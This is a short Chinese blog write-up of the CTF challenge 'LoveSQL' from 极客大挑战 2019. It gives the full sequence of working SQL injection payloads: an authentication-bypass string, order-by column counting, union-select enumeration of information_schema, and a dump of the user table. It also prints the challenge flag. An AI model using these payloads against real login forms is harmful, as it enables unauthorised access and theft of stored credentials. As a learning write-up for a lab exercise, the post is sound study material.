[极客大挑战 2019]LoveSQL 1

一个比较简单的SQL注入题目,写一下做个笔记。

看到登录直接盲猜账号密码adminpassword,然后在账号处进行注入,结果还给我试对了。看了一下网上大佬们的做法,发现我就是捡了个漏,正确做法其实是利用万能密码登录,登录后进行注入。接下来把正规做法记录一下:

万能密码如下:在这里插入图片描述
这里账号填1' or 1=1#,密码随便写。
在这里插入图片描述
登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:
?username=1' order by 1%23&password=ads在这里插入图片描述
没有报错,只是说账号密码错误。直到order by 4的时候,报错了:
在这里插入图片描述
判断出有三个字段,接下来开始寻找注入点:
?username=1' union select 1,2,3%23&password=ads在这里插入图片描述
很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。
?username=1' union select 1,database(),3%23&password=ads
得到数据库名:geek!

?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads
得到表名geekuser,l0ve1ysq1

?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads
得到字段名id,username,password

?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads
flag出来了~~

flag{70dfe726-2d2d-443e-a90a-5f5c3163b305}
在这里插入图片描述

posted @ 2020-05-20 23:13  WakeUpp  阅读(523)  评论(0编辑  收藏  举报